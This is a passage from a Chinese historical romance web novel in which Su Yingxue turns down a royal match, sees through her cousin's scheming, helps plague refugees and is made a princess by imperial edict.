映雪换了身端庄大方的衣裳，随后，在丫鬟的搀扶下，便坐上了进宫的马车。
映雪乘坐马车抵达宫门前，在宫女的引领下，穿过一重又一重威严庄重的宫门，最终来到了齐贵妃的锦澜宫。
踏入宫殿，只见齐贵妃慵懒地倚坐在榻上，一身宫装华丽无比，璀璨的珠翠闪耀夺目。映雪不敢有丝毫怠慢，连忙跪地行礼，恭声道：“臣女苏映雪，拜见贵妃娘娘，娘娘千岁千岁千千岁。”
齐贵妃嘴角上扬，微笑着抬手说道：“起来吧，赐座。”
齐贵妃先是与映雪谈论了几句制香之事，随后话锋陡然一转，面露忧色说道：“本宫那三子，如今已然到了该成家的年岁，可他却一心只顾着扑在学业上，这可着实让本宫为之着急。”
映雪垂首而立，小心翼翼地回应道：“三皇子勤勉上进，心怀壮志，实乃朝廷之福泽。”
齐贵妃目光紧紧盯着映雪，接着说道：“本宫欲为他寻觅一位蕙质兰心的姑娘，苏姑娘平日里认识的贵女众多，不知对此你有何看法？”
映雪心中猛地一惊，赶忙说道：“娘娘，此等大事，并非臣女能够随意妄言的。三皇子尊贵无比，其婚配之事自当由娘娘和圣上亲自定夺。”
这时，一旁的宫女适时地递上了一杯茶，齐贵妃接过轻抿一口，继续说道：“苏姑娘，本宫不妨与你直说，今日召你前来，就是看中你的聪慧与稳重，与三皇子年纪也正好相配。”语音刚落，映雪随即跪了下来，回道，“臣女惶恐，婚姻大事，父母做主，臣女不敢。”
齐贵妃眉头紧蹙，追问道，“你自己有何想？”
映雪婉拒道，“臣女才疏学浅，配不上三皇子。”
齐贵妃脸色阴沉，沉默片刻，又恢复如初，温和道，“罢了，你且先回去，本宫再思量思量。”
映雪谢恩后由宫女送了出去。
随行的还有齐贵妃的赏赐。
映雪回府后，就去了荣晖堂。老夫人正端坐在榻上，手中捻着一串佛珠，听闻齐贵妃看中映雪，眉头紧蹙，忧心忡忡地道：“三皇子可不是良配，咱们永安侯府一向是中立之臣，从不参与党派之争，若是与三皇子结亲，无疑是被迫站队。”
老夫人怕映雪被眼前的风光所迷惑，又接着道：“我与你父亲从没想过让你进宫，宫里看似风光，却也危机四伏，祖母只想你嫁个门当户对，真心疼惜你的儿郎。”
说罢，映雪挽着老夫人的胳膊，娇嗔地故作撒娇，那声音如黄鹂般清脆：“我就知道祖母疼我，我才不想嫁进皇家了，皇家规矩多，又勾心斗角的，我最是讨厌。”
闻言，老夫人这才松了口气，脸上的皱纹都舒展开来，笑着说道：“那等你父亲回京，也让你父亲打听打听这京城的好儿郎。”
随即，映雪不知怎的想到了许牧舟，不由得羞红了脸，跺着脚，似娇似嗔地道：“我才不要嫁人呢。”说罢，像一只欢快的小鹿般，提起裙摆跑着离开了荣晖堂。
老夫人瞧见映雪离开的背影，心中不禁叹息一声。心里暗衬：“就怕齐贵妃不是一时兴起，若她执意要促成此事，侯府怕是难以推脱。”想到此处，她眉头皱得更紧，手中的佛珠也捻动得更快了些。“映雪的亲事还是早日订下来好。”
落雪院，宛如被一层阴霾所笼罩，院内一片沉寂。四周弥漫着令人压抑的氛围，仿佛能将人的呼吸都凝滞。
苏沁雪端坐在椅子上，脸色阴沉得如同暴风雨来临前的天空，手中的帕子被紧紧篡着，似要将其揉碎。
丫鬟轻手轻脚地收拾着屋内的灰尘，一颗心提到了嗓子眼，紧张得连呼吸都小心翼翼。一时紧张之下，忽然，案几上的花瓶砰的一声，摔落在地，清脆的声响打破了这死一般的寂静，也把苏沁雪的神给震了回来。
丫头嘭的一声，双膝跪地，声音带着无尽的惊恐与颤抖，“姑娘饶命！”
苏
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沁雪微微瞥了一眼，冷声道，“拖下去，发卖。”那声音仿佛来自九幽寒狱，不带一丝情感。
丫鬟瞬间面如死灰，泪水如决堤的洪水夺眶而出，“姑娘，求求您，饶了奴婢这一次，奴婢再也不敢了！”身体不停地颤抖着，双手拼命地抓着地面，试图求得一丝怜悯。
然而，苏沁雪不为所动，眼神冰冷得没有一丝温度。
一旁的其他丫鬟们个个噤若寒蝉，大气都不敢出，生怕下一个遭殃的就是自己。
向莞宜正好到落雪院找苏沁雪玩，刚踏入院子，便瞧见两个粗壮的婆子从两边拖住那丫鬟，毫不留情地往外面拽着。丫鬟口里被塞了布巾，只能发出呜呜的声音，身子拼命挣扎扭动着，眼神充满了绝望与恐惧。
向莞宜见状，不由诧异道，“这是怎么回事？”婆子脸上挤出讨好的笑容，却含糊其辞道，“这丫头犯了事，挨了罚。”说罢，便拽着丫鬟急匆匆地从向莞宜身边走了过去。
向莞宜挑了挑眉，心中满是疑惑，抬步迈进了屋子。苏沁雪见她进来，喊了声表姐，语气沉闷。
向莞宜心下好笑，觉得她这表妹还真是在富贵窝待久了，喜怒哀乐全写在脸上，藏不住半点心思。不过，脸上却佯装不知，似是宽慰道：“我见老夫人这段时间都在打听京城的贵女，似是要给大表哥娶世子妃了。”见苏沁雪神情不变，又一脸向往地道：“大表哥的同窗都是京城名门贵子，三表姐的未来夫婿说不定就是他哪一位同窗呢，若真能成就好事，还真不失为一桩美谈。”
苏沁雪听言，脸上若有所思。向莞宜瞧见，又不经意道：“前些时日，三表姐陪我去文澜阁，我见一位贵公子与三表姐搭话，三表姐很是害羞呢，也不知那位贵公子是哪个府里的。”
说罢，苏沁雪立马来了兴致，追问道：“你果真瞧见了三姐姐脸上的羞意？三姐姐认识他吗？”向莞宜遗憾地摇摇头，道：“三表姐说不认识。”苏沁雪不信，讥讽道：“若真是京城的贵公子，她哪能不认识，说不定就是故意不想告诉你的。”接着又道：“你不是画功一向极好吗？你把那公子的画象画出来，我瞧瞧。”
向莞宜顿时一脸为难，秀眉紧蹙，不肯应下来。苏沁雪又道：“这里又没有外人，何况我只是想瞧瞧哪个府里的，说不定我们还能帮到她呢。”向莞宜思索了片刻，目光闪烁，才应了下来。
苏沁雪立刻命丫鬟拿了笔墨纸砚过来，半柱香的功夫，陈煜安的画像就展现在纸上，线条流畅，活灵活现。
苏沁雪仔细一看，她也不认识，皱眉道：“倒是一位俊朗公子。”说罢，喊了丫鬟进来，低声交待了几句，丫鬟小心地把画拿了出去。
向莞宜见状，低垂眼眸，嘴角勾起一抹不易察觉的低笑，不语。
38. 茶话会
向莞宜在绮梦居办了茶话会，邀请了映雪，苏沁雪，苏映雪，苏秀蓉四人参加，也有意缓和映雪与苏沁雪、苏映蓉之间的气氛。之前因静逸庐之事，映雪与两人之间都有些嫌隙，老夫人心中担忧，可却也不好过多干预。恰好向莞宜提出要办这场茶话会，老夫人不禁连连称赞向莞宜懂事，对这场茶话会更是全力支持。
映雪不想让老夫人担心，便也顺着老夫人的意，应了下来。
步入绮梦居，满地金黄的落叶宛如一层柔软的地毯。秋风轻轻拂过，带来丝丝凉意。
庭院中央，摆放着一张古色古香的长方形木桌，桌面铺着绣有枫叶图案的淡黄色绸缎。为了营造氛围，向莞宜在桌子四周放置了几盆盛开的菊花，有的洁白如雪，有的金黄似阳，有的粉嫩若霞，争奇斗艳，散发出阵阵清幽的香气。
桌子的一侧，向莞宜亲手绘制的一幅《秋韵图》用了木架子立在一旁，为整个场景增添了浓厚的艺术气息。
待映雪几人踏入院子，侍女正端了点心入场，点心都是以秋为特色，菊花酥、蟹黄酥、桂花糕、栗子酥等，精致小巧，还备了一些果酒，可见花了一番心思。
苏秀蓉夸赞道，“向表妹这才情与巧思，真叫我等自愧不如。瞧这别具一格的布置，以及这精致小巧的点心，都让人仿佛置身于秋日的仙境之中。”
向莞宜微微一笑，谦虚道：“都是侯府下人会办事，我只不过是借花献佛。”
一个下午的时光，几人围坐在桌旁，轻抿着果酒，品尝着点心。茶香、酒香、果香交织在一起，笑声、话语声、欢闹声此起彼伏。谈论着秋日的美景，回忆着往昔的趣事。渐渐地，姐妹之间的隔阂消融，仿佛又回到了以前无忧无虑、亲密无间的日子。
苏沁雪望着眼前的景象，不禁感叹道：“若是把这场景搬到野外，有那青山绿水环绕之处，肯定会更有滋味。”
向莞宜听到这话，俏皮地一笑，双手轻轻捂住嘴巴，咯走来走去咯笑道：“这还不简单，我们可以组织一场野炊，还能放风筝呢，定比这有趣极了！”
这时，苏映蓉也插话进来，兴奋地说道：“对呀，我们可以带上好多好吃的，找一个风景优美的地方，还可以吟诗作画，抚琴。”
几人你一言我一语，越说越起劲，当场就定下了野炊的计划。
翌日，映雪几人于荣晖堂向老夫人请安，彼此间亲密无间。老夫人瞧在眼里，喜上眉梢，赶忙吩咐秦嬷嬷取来一支簪子，朝着向莞宜和颜悦色地笑道：“向丫头，你这孩子向来乖巧懂事，这簪子与你甚是相配，拿去戴着玩吧。”向莞宜听闻，顿感受宠若惊，忙推拒道：“老夫人谬赞了，莞宜实不敢当，受之有愧。”老夫人态度坚决，说道：“长者赐，不可辞。”向莞宜无奈，只好接下，恭敬答道：“多谢老夫人厚爱。”
苏映蓉瞧见老夫人高兴，赶忙讨巧道：“祖母，您没瞧见昨日的绮梦居，我还真没见过京城哪府姑娘有向表妹这般心灵手巧的呢。”说罢，一双美目眨呀眨的，满是讨好之意。
老夫人也来了兴趣，微微眯起眼睛，疑道：“哦，是吗？”
苏映蓉忙不迭地点头，那头上的珠翠也跟着晃动起来，老夫人不禁笑道：“那你们几个可要跟向丫头好好学一学。”
向莞宜闻言，面色含羞，谦虚道：“远不及三表姐，我不过是雕虫小技。”
苏沁雪不想听老夫人夸赞映雪，赶忙插话道：“祖母，表姐说，过几天我们还要去野外举办一次野炊呢。到时候在那风景秀美的草坪上铺起毯子，摆上食物，然后在草坪上放风筝，弹琴，作画，定会有趣极了。”她边说边比划着，眼中满是期待的光芒。
听言，老夫人皱着眉头，脸上的皱纹似乎更深了几分，道：“京城的瘟疫虽已得到控制，但从中原逃难过来的难民还是不少，你们在野外野炊，极为不妥。”
苏沁雪不以为意地撇撇嘴，说道：“这有什么，到时候我们多带一些下人就是了，那些难民总不敢抢到我们头上吧。”
话音刚落，映雪不赞同地说道：“四妹妹可能不知，人在绝境时，都会拼命一搏。一两个难民或许不敢，可若是见我们衣着华丽，起了歹念，把周边的难民都聚集过来呢？”
苏沁雪想到这里，脸色瞬间难看起来，犹如被霜打过的花朵，又忍不住反驳道：“那你昨日在绮梦居怎么不说？你当时不是也赞同吗？”
映雪惭愧地低下头，面露愧色道：“是我没想到，多亏祖母提起。”
老夫人见姐妹俩又有了争执，连忙打起圆场来，轻轻拍了拍两人的手，说道：“等你们父亲从中原振灾回来，难民的问题也该解决完了，到时你们再去野炊不迟。”
映雪想到父亲，不禁问道：“爹爹他们去了都快有一个月了吧？是不是也快回来了？”
老夫人缓缓点头，神色间透着几分宽慰，道：“应该快了，我差人去太子府打听过，中原的灾情已稳定下来了，太子应该快要回京了。”
映雪不禁感慨道：“若是二叔也在京城就好了，就不用什么事都得去别的府中打听。”老夫人微微眯起眼睛，陷入沉思，缓缓说道：“等你父亲回京，祖母让你父亲打听，朝中可有空缺，看能不能想办法把你二叔调回京城。”接着又道：“年后开春，你大姐姐就要出嫁了，若是你二叔能在这之前调回来，还能送你大姐姐出嫁。”
苏沁雪忙插话道：“大姐姐的夫家不就是萧丞相的萧家吗？二叔要调回来，还不是萧丞相一句话的事。”
老夫人眉头紧皱，神色严肃，顺便教导孙女们，道：“京城各府联姻，虽有巩固及扩大家族势力之意，但你大姐姐还未嫁进萧府，就求着人家给好处，会令你大姐
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姐在萧府处境为难。”接着顿了一下，目光扫过众孙女，又道：“身为女子，本就比男子艰难，所以更要自重自爱、言行得体，心清志明。”
闻言，苏秀蓉若有所思，低垂着双眸，似乎在细细品味着老夫人的教诲。一旁的向莞宜的脸色瞬间煞白，毫无血色。这细微的变化恰巧被苏沁雪瞧见，忍不住问道：“表姐，你没事吧。”
众人的目光都瞬间转到向莞宜身上，向莞宜强行让自己镇定下来，深吸一口气，平缓道：“无事，许是站久了，有些气血不足。”
老夫人见状，轻轻摆手对映雪几人说道：“好了，你们去玩吧。”接着又吩咐身边的秦嬷嬷道：“你一会去大厨房交待一声，让厨房每日午膳时给绮梦居多送一道阿胶鸡汤。”
向莞宜立即惶恐，连连推拒道：“老夫人，真不必了，老夫人让我在侯府居住，已是极为厚待，我怎能还给侯府添麻烦。”
老夫人却一脸和蔼，微笑着说道：“女子身体极为娇贵，向丫头就别再客气了，既然来了侯府，就把侯府当家。”
向莞宜不好再推，忙感恩感谢。
随后，几人离开，映雪在转身之际，还朝老夫人喊道：“祖母，二叔回京的事，我之前找嘉柔和清平打听过了，想来要不了几日，该有消息传来。”说罢，还朝老夫人俏皮地眨了眨眼睛，露出一个灿烂的笑容。
老夫人眉开眼笑，嗔怪道：“你这丫头。”
回了映月阁，映雪刚一踏入屋内，便瞧见竹清正安静地侯在屋子里。映雪忙问道：“林姨娘中毒之事可是有消息了？”竹清赶忙点头，答道：“应与如意院有关。”闻言，映雪的眉头瞬间皱起，满心疑惑，怎么也想不通大夫人为何要害林姨娘。林姨娘向来无宠，且又是个老实本分之人，在这侯府之中谨小慎微，并不会对大夫人造成任何威胁，若是暗害苏宇皓还勉强说得过去。随即一想，罢了，或许是没胆子直接暗害侯府子嗣，想先从林姨娘身上出气罢了。
中午用了膳，映雪在塌上睡了一会儿。才醒来，刚坐起身，就有丫鬟疾步上前禀告，道：“姑娘，向姑娘来了。”映雪眉头一皱，眼中闪过一丝无奈，但也不好把人赶走，只好点了点头。
一会儿，就见向莞宜手中提着精致的食盒，袅袅婷婷地走了进来。她将食盒轻放在桌上，打开盒盖，把点心摆到桌上，亲热地道：“表姐，之前见你喜欢吃这蟹黄酥，这是我今日刚做的，你尝尝。”
伸手不打笑脸人，映雪脸上立刻浮现出温和的笑容，说道：“表妹辛苦了，你身体弱，该多休息才是。”
向莞宜甜甜地笑道：“多谢表姐关心，我无碍。”接着又道，“我也就这点手上功夫，还比不过大表姐呢。”
两人在屋子里聊了一会儿，向莞宜突然压低声音，语气神秘道：“表姐，你猜我之前在街上碰见谁了？”
39. 回京
映雪故作好奇，双眸闪烁着光芒，问道：“哦，是谁？”
向莞宜也不卖关子，兴奋地说道：“就是那日我们去文澜阁遇见的那位公子。”说罢，眼神如狡黠的狐狸，仔细打量着映雪脸上的神情。只见映雪眼睛睁得大大的，满是惊讶，追问道：“可是那位与你相看的公子？你们可真是有缘？”
向莞宜故作生气，娇嗔道：“表姐别打趣我了，不是他，是你在门口碰上的那位公子。”映雪装作兴致缺缺，撇了撇嘴，道：“哦，是吗？”接着又道：“都在京城，碰见也正常。”
向莞宜不禁感叹道：“那位公子原来是宁诚侯府的世子呢，我那日在店里听起身边的姑娘聊起他，没想到他不但身份贵重，还极有才华。”
映雪心里觉得好笑，京城的侯府世子身份还真算不得贵重，何况宁诚侯府权势一般，甚至还不如永安侯府。这也是为何宁诚侯夫人瞧不上她，一心想让陈煜安娶公主，郡主的原因，好攀上更高的权势。只是她不清楚陈煜安对向莞宜究竟是不是真爱，竟会为了向莞宜不受委屈而来算计她，她和陈煜安夫妻近三年，自是知道陈煜安表面上看极为温和端方，但实际却极为自私的。
向莞宜见映雪出神，忍不住朝映雪问道：“表姐，你在想什么呢？你听过宁诚侯府世子吗？”映雪故作羞涩，微微抬头看了一眼向莞宜，犹豫着道：“表妹可是心仪他？”
向莞宜听言，急忙摆手撇清道：“表姐误会，我自知身份配不上，哪里敢肖想，也只有像表姐这样，无论是身份还是才貌都一样优秀的人，才是想嫁谁都行。”说罢，余光却偷偷地注意着映雪的神色。
映雪似是松了口气，手中拧着帕子，纠结地说道：“我的亲事，自有祖母和父亲做主。”
向莞宜宽慰道：“老夫人和侯爷都极为疼你，若是你真看上哪位公子，他们也定会为你做主。”接着又用羡慕的口吻道：“我真羡慕表姐呢，侯府只希望你能嫁给情投意合，门当户对之人，不像我，就算嫁人，也要为下面的弟弟铺路。”
映雪也宽慰道：“表妹也别灰心，母亲自也会替你上心。”
向莞宜摇摇头，神色黯然，道：“上次相看的事，姨母都恼我了，也不知这侯府我还能住多久。”
映雪没有答话，只是低垂着眼眸，也假装伤感。向莞宜瞧见，心里高兴，觉得映雪对她还是一如既往，跟着自我安慰道：“好了，表姐也不必为我的事忧心，我只盼表姐能嫁给真正的意中人。”
映雪故作羞涩，看向莞宜的眼神充满着心疼和感动。
向莞宜见目的达到，嘴角微微上扬，随后向映雪告辞道：“表姐，那我就不打扰你了，先回绮梦居了。”
映雪点头，微笑着道：“多谢表妹的蟹黄酥。”
向莞宜含笑离去。
竹韵见向莞宜已离开，忍不住看向映雪，脸上满是担忧，犹豫道：“姑娘，奴婢觉得向表姑娘不怀好意。”
映雪噗嗤一笑，那笑声如银铃般清脆，她端起竹韵倒的茶水，轻抿了一口，茶水的热气升腾，映得她的面容越发娇俏，缓缓道：“放心吧，我就是想看看她还能耍什么手段。”
竹韵听了这话，这才松了口气。
紧接着，又听映雪问道：“白芷这段时间怎么样？”
竹韵轻缓地回道：“白芷似是被上次的事情吓着了，这段时日，性子稳重了许多，也变得勤快了，对院子里的小丫头也亲和起来，江嬷嬷对她很是夸赞。”
映雪放下手中的茶杯，沉默了片刻，道：“希望她是诚心悔改，你也继续留意她。”
竹韵点头应是。
人真是经不起念叨，翌日，映雪带着竹清和绿绮去了京城郊外的破庙，给那些患了瘟疫的难民送了些物品和食物过去，顺道找那小乞丐问问，接下来，他们有何打算。
小乞丐瞧见了映雪，脸上瞬间充满了激动的神情，脚步踉跄着就要朝映雪下跪。竹清眼疾手快，一把将其制止。
小乞丐激动得声音颤抖，说道：“贵女姐姐，要不是遇上您，我娘她早就死了，说不定我也活不成，您就是我们的大恩人，我无以为报，就让我给您磕几个头吧。”
映雪微微皱眉，神色间满是关切与温和，说道：“莫要如此，快快起来，救人于危难本就是应当之事，你这般下跪磕头，倒是让我心中不安了。我此次前来，也是想问问你们接下来有何打算，看看能否帮上一二。”
说罢，映雪的目光停在小乞丐身上。
小乞丐哭丧着脸，艰难地回道：“贵女姐姐，我和我娘不准备回家乡了。家乡遭了灾，田地颗粒无收，房子也卖了，回去也是没法生存。而且现在我娘身体还很虚弱，经不起这一路的奔波折腾，我们只能在京城寻个活路。”
映雪见状，便提议道：“我与朋友刚好要在京城开一家慈善堂，专门收留孤寡老幼，若是你们不回家乡，就去慈善堂吧。”接着又道：“到时候也会请师傅教你们手艺，让你们有一技之长，能够自食其力。无论是木工、刺绣还是厨艺，只要你们肯学，就一定能谋个生计，不用再流落街头，过这朝不保夕的日子。”
闻言，小乞丐的眼神瞬间亮了起来，犹如黑暗中突然亮起的烛光，立马又朝映雪下跪。这次映雪没有阻止，她静静地看着小乞丐，神色中满是理解与包容。待小乞丐恭恭敬敬地磕了三个头，竹清才赶忙把小乞丐拉了起来。
这年头学艺可不是一件易事，映雪目光温和地问道：“你叫什么名字？待慈善堂收拾好，我让这位姐姐过来找你。”映雪说着，手指向身边的竹清。
小乞丐不好意思地挠挠头，傻笑
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着露出一口参差不齐的牙齿，道：“贵女姐姐，我叫拴子。”
话音刚落，绿绮一时没忍住，扑哧笑出声来，追问道：“那你是不是还有个哥哥，叫柱子？”
小乞丐神情瞬间落寞地低下头来，声音低沉地回道：“这位姐姐，我弟弟叫柱子，只不过他死在逃难的路上。”
绿绮听见，懊悔得恨不能马上自打嘴巴，脸上满是尴尬与自责，叫自己多嘴，连忙向小乞丐道歉，道：“拴子弟弟，对不住，都怪姐姐多嘴，惹你难过了。”
小乞丐轻轻摇头，勉强挤出一丝笑容，表示无碍。
映雪轻柔地拍了拍小乞丐的头，宽慰道：“好了，别难过了，相信姐姐，以后只会越来越好，你以后要带着你弟弟的信念一起活下去。”
小乞丐抬起头，目光坚定地点了点头。
映雪交待完拴子，就准备回永安侯府。刚要踏上马车的踏板，忽然间，一阵急促的脚步声传来。转头望去，只见陈煜安带着个随从正朝这边走来，那随从背上还背着个鼓鼓囊囊的大包袱。
陈煜安瞧见映雪，眼神倏地一亮，脚下步伐加快，如一阵清风般快步走了上来，欣喜道：“姑娘，果真是你。”
映雪装作惊讶，美眸中满是疑惑，道：“您这是？”
陈煜安温和笑道：“我听闻苏姑娘在此处救助难民，特来瞧瞧能否帮上忙。这些是我带来的一些衣物和药品，希望能尽些绵薄之力。”
映雪眼中闪过一丝好奇，问道：“公子认识我？”
陈煜安目光中满是赞赏，夸赞道：“京城的人都知道永安侯府三姑娘心系百姓，炼的一手好香和一手好药，救瘟疫于危难中。上次见姑娘心善，我便猜到是你。”
闻言，映雪俏脸微红，如天边的晚霞，谦虚道：“我只不过是运气好罢了。”说着，又故作羞涩地问道：“公子又是哪个府里的？”
陈煜安目光灼灼地看着映雪，那眼神仿佛能将人融化，温柔地笑道：“在下陈煜安，乃宁诚侯府世子。早闻姑娘美名，今日得见，实乃三生有幸。”
映雪刚要说话，旁边就传来一阵刺耳的讥讽声，“我这是不是打扰两位了？”映雪闻声转头望去，竟是去中原赈灾，许久不见的许牧舟。他就像凭空出现一般，也不知是从哪冒出来的，映雪有些不可置信，瞪大了眼睛。
许牧舟见映雪不说话，心中更是气恼，那怒火在他的胸膛中熊熊燃烧，可脸上却假装镇定，强压着情绪道：“我奉殿下之命，过来察看京城感染瘟疫的难民，没想到碰上你们两位。”
映雪眼下也有些尴尬，像是被人撞破了秘密一般，没想到在此时碰上许牧舟。随即，她向陈煜安歉意道：“陈公子，我找许世子打听一下我父亲的事，您自便。”说完，便莲步轻移，匆匆朝许牧舟走了过去。
40. 封赏
许牧舟见映雪弃了陈煜安，朝他走来，心里瞬间乐开了花。然而，不过转瞬之间，他又想到自己不在京城的这段时日里，映雪竟与别的男人眉来眼去，那股子醋意瞬间上涌，心就像是被打翻了的醋瓶子，酸溜溜的。
陈煜安眼睁睁看着映雪弃了自己，转向许牧舟，脸色陡然一变。但无奈之下，也只得强装大方，向着许牧舟拱手道：“许兄，那苏姑娘就麻烦你照看了，我就不打扰你们了，先走一步了。”言罢，他含笑朝着映雪微微颔首，那笑容却透着一丝勉强。转身之后，他翻身上马，带着随从疾驰而去。
待骑出了一段距离，陈煜安的脸色立马冷了下来。他没眼瞎，一次偶然或许是偶遇，可这景阳侯世子绝对是与他抱着同样的心思。论权势，自己与对方相比毫无胜算。在他看来，除了母亲指定的人，娶谁都是娶。原本以为娶苏三姑娘不过是为了如莞宜的愿，愿意花几分心思逗逗这美人，博她一笑。没想到接触之后，才惊觉这苏三姑娘令他刮目相看。若是能娶她，对自己必然大有用处，想到此处，他心中不禁多了几分真心。看来，为了达成目的，他不得不采取特别手段了。
映雪见陈煜安已走远，轻盈地转过头，朝着许牧舟眉眼弯弯，高兴地问道：“你怎么就回京了？我爹爹也回来了吗？”许牧舟撇了撇嘴，双唇紧闭，没有回答，转而轻挑眉头，目光带着几分探究，问起映雪道：“你与宁诚侯世子很熟吗？我见他待你很不一般呢。”那话语中隐隐带着酸味，仿佛刚开封的陈酿，酸味四溢。
映雪听出来了，心骤然猛地跳跃起来，似是欢快的小鹿在胸膛乱撞，畅快极了。她平复心绪，唇角微扬，笑道：“我早就知晓他别有用心，不过是想瞧瞧他还能有什么手段。”
许牧舟听见映雪的解释，顿时眉开眼笑起来，心里暗哼：“不过一跳梁小丑，宁诚侯府表面上看着平静，内地里还不知怎样的龌龊。”脸上却不动声色，嘴角勾起一抹弧度，逗趣道：“哦，我还以为你这丫头，三言两语就被别人哄骗了去呢。”映雪气得直跺脚，双目圆瞪，娇嗔道：“我才没那么好骗呢！”说罢，许牧舟抬着手臂，用手指顶着下巴，目光炯炯，把映雪从上到下，仔仔细细地打量一遍，道：“确实不好骗。”闻言，映雪顿时脸色爆红，羞得低下了头，双手不自觉地摆弄着衣角。
许牧舟不敢再逗弄映雪了，怕她真的生气，便正经回到前面映雪问的事情，道：“太子和永安侯在城外，明早进京，我先一步进城了解下京城瘟疫情况，一会儿还要出城与太子汇合。”接着又道：“小丫头，这次你可是立了大功了，有没想过要什么奖赏？”映雪摇摇头，白了一眼许牧舟，道：“你明知道是玉佩的缘故。”许牧舟目光坚定，语气诚恳道：“你即是玉佩的主人，功劳就是你的，何况功德都是你攒来的。”映雪这才安心下来，又说道：“对了，我从玉佩中取了些兵书和炼器之术，你看要怎么给你？”许牧舟笑道：“不急，我到时候过去取。”瞧见映雪脸上颇有为难之色，闷闷地问道：“怎么，不方便？”映雪摇头，盯着许牧舟的眼睛，略带歉意地说道：“我之前给豫亲王世子提供了一道让兵器变得锋利的秘方，要不要紧？”许牧舟沉默了一会儿，目光如炬，紧紧盯着映雪的眸子，平静地问道：“你先告诉我，你为何要把方子提供给他？”映雪愧疚地低下头，双手绞着帕子，说道：“我之前让嘉柔帮我打听，看朝中有没职位空缺，想把我二叔调回京，嘉柔就顺道提到她大哥正为炼兵器之事烦心，我就把秘方给提供了，想着要是豫亲王府能看在我献方的事上，帮我二叔一把，事情就简单了。”
许牧舟又追问道：“除了想让你二叔回京的事，没有别的？”映雪没好气地道：“当然就是二叔的事，不然还能有什么。”接着又道：“哦，还有，我希望大乾国的兵器能更加精良，让边疆的战士们有更好的装备抵御外敌，保卫我们的国家和百姓。”
闻言，许牧舟笑出声来，那笑声如银铃般悦耳，目光灼灼地盯着映雪，道：“看来我是如获至宝啊。”心里暗衬着，只要不是因为少臣兄就好。
雪故作生气，双颊鼓起，嗔道：“胡说八道。”许牧舟抬头瞧了下天空，只见夕阳的余晖将天边染成一片橙红，对映雪笑道：“天色不早了，我先送你回府吧，你二叔的事不用担心。”
映雪点了点头，轻盈地踏上马车，车帘缓缓落下，马车在余晖中渐行渐远。
翌日，早膳后，永安侯府的主子们皆聚集在荣晖堂。大夫人仪态端庄地坐在一侧，苏璟皓也在其中，神色轻松自在。永安侯已遣了随从回府禀告，太子赈灾回京之事，今日皇上会论功行赏，会有旨意下达永安侯府。
老夫人端坐在上首，看似平静如水，然而那眼神之中却难掩些许激动。
被苏璟皓打趣道：“祖母，您这激动的心情就别憋着了，孙儿都看出来啦。”
老夫人笑骂道：“你这皮猴儿，没个正形，祖母替你相看媳妇是对了，早日找个媳妇来管你。”
苏璟皓闻言，瞬间像个霜打的茄子，原本挺直的脊背一下子就耷拉下来。
众人见此，忍不住笑做一团。
映雪想到上辈子老夫人替大哥相中的大嫂，在还未嫁进永安侯府，大哥就出事了，大嫂转身就嫁给了别人，就连
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三个月的孝期都没替大哥守住，心里总是膈应。她忍不住问起老夫人道：“祖母，大哥明年就要科举了，为何不等大哥科举后再替大哥相看呢？若是大哥考中了，这可挑选的名门淑女不是更多了吗？”说罢，就瞧见苏璟皓朝她使了个感激的眼色，还对她竖了个拇指。
老夫人温和地笑道：“娶妻娶贤，高嫁低娶，如有合适的姑娘就替你大哥先订下来，等科举后再成婚，若是中举，那就是锦上添花，也是一桩美事。”
映雪却不赞成，眉头微微蹙起，道：“祖母，也许过了今日，我们永安侯就今世不同往日了，要不等爹爹回来了，祖母再问问爹爹？”心里却在想，爹爹一定会赞同她的想法。
老夫人略想了下，目光中透着思索，笑道：“那就等你爹爹回来，我再问问他。”
苏璟皓听到这话，顿时觉得逃过了一劫，长舒了一口气，脸上又恢复了神采。
众人闲聊了一会儿，就见丫鬟慌慌张张地拔开帘子，气喘吁吁地进来禀告道：“老夫人，传旨的公公已经到角门了。”
老夫人闻言，神色一凛，赶忙带着众人匆匆赶往侯府大门。众人在门前正屏息以待，忽然听到外面传来一声高喊：“传旨公公到！”紧接着，一位身材瘦削的公公出现在众人眼前。公公面容白净，细长的眼睛透着精明，脸上带着淡淡的笑意，微微躬身向老夫人行礼道：“老夫人，恭喜你，侯府可是三喜临门。”
老夫人谦逊地笑着回应，脸上的皱纹因笑容而更加明显：“公公过奖了，劳公公亲自前来，侯府蓬荜生辉。”
公公摆了摆手，宽大的衣袖随风飘动，说道：“老夫人客气，你们都准备好了，那就接旨吧！”
老夫人神色庄重，率领众人恭敬地跪下。
奉天承运，皇帝诏曰：
今有永安侯苏越，于赈灾事宜中，不辞辛劳，筹谋周详，调配物资。安抚灾民，使灾民生计得保。功绩斐然，着即日起，擢升为兵部右侍郎，望尔今后克尽职守，再建勋功，以报朕恩。
苏家三女苏映雪，蕙质兰心，聪慧绝伦。于中原虫灾横行之际，挺身而出，呈献良策，驱虫保粮，解民生之饥困。后又在瘟疫蔓延之时，研制瘟疫妙方，挽百姓于危难；巾帼不让须眉，实为女中豪杰。特封为慧敏郡主，赐郡主府一座，锦帛百匹，珠宝首饰若干。
苏家长子苏璟皓，心细如发，洞察入微。于京城初现瘟疫端倪之时，他却果敢决断，第一时间上报朝廷。朝廷因而得以迅速应对，防控得当，疫情未致扩散，护京城百姓安康。赏黄金百两，良田千亩，绫罗绸缎百匹。
钦此！
41. 暗卫
宣旨后，公公脸上的笑意更浓了几分，他双手将圣旨轻轻卷起，递向老夫人，说道：“老夫人，快请起身接旨吧。”
老夫人颤抖着双手接过圣旨，眼中闪烁着激动的泪花，声音略带哽咽道：“谢主隆恩，吾皇万岁万岁万万岁。”
侯府众人也齐声高呼：“谢主隆恩，吾皇万岁万岁万万岁。”
起身之后，老夫人赶忙向公公道谢：“多谢公公今日前来传旨，还请公公进府喝杯茶，歇息片刻。”
公公摆了摆手，说道：“老夫人客气了，咱家还要回宫向皇上复命，就不久留了。”
老夫人也不再强留，吩咐下人准备了一份丰厚的赏银递给公公。公公笑着收下，再次向老夫人行礼后，便带着两个小太监转身离去。
待公公远去，身影消失在街角，老夫人才仿佛松了一口气，然后对着老夫人说道：“侯府大喜，侯府下人统统赏三个月的月钱。”
院子里的下人原本还在远远地观望，听到这话，瞬间欢呼起来。
苏沁雪站在一旁，嘴巴撅得老高。
大夫人脸上的笑容显得勉强，眼中闪过一丝不易察觉的阴霾，但还是应了下来，随后又问起老夫人，道：“老夫人，侯爷升迁，府里可要置办宴会？”
老夫人微微眯起眼睛，思考片刻后说道：“这是自然，侯府如今荣耀加身，当好好庆贺一番，你且去安排吧。”
